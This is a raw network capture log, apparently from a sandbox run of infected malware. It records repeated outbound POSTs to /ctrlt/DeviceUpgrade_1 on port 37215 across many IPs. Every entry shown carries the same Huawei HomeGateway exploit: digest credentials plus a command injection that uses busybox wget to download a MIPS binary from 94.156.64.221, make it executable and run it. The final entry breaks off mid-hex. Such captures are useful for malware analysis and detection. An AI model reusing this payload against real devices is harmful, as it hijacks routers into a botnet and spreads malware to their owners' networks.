Jun 1, 2024 18:15:54.274578094 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.23	60168	156.58.162.34	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274630070 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.23	58694	41.95.142.163	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274661064 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.23	52758	41.116.22.183	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274702072 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.23	40134	197.168.40.142	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274735928 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.23	40428	197.99.171.142	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274796009 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.23	46780	156.186.16.118	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274832964 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.23	43694	156.95.177.47	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274864912 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.23	46990	156.108.83.196	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274915934 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.23	50200	197.17.222.156	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274950027 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.23	39966	197.239.222.81	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274985075 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 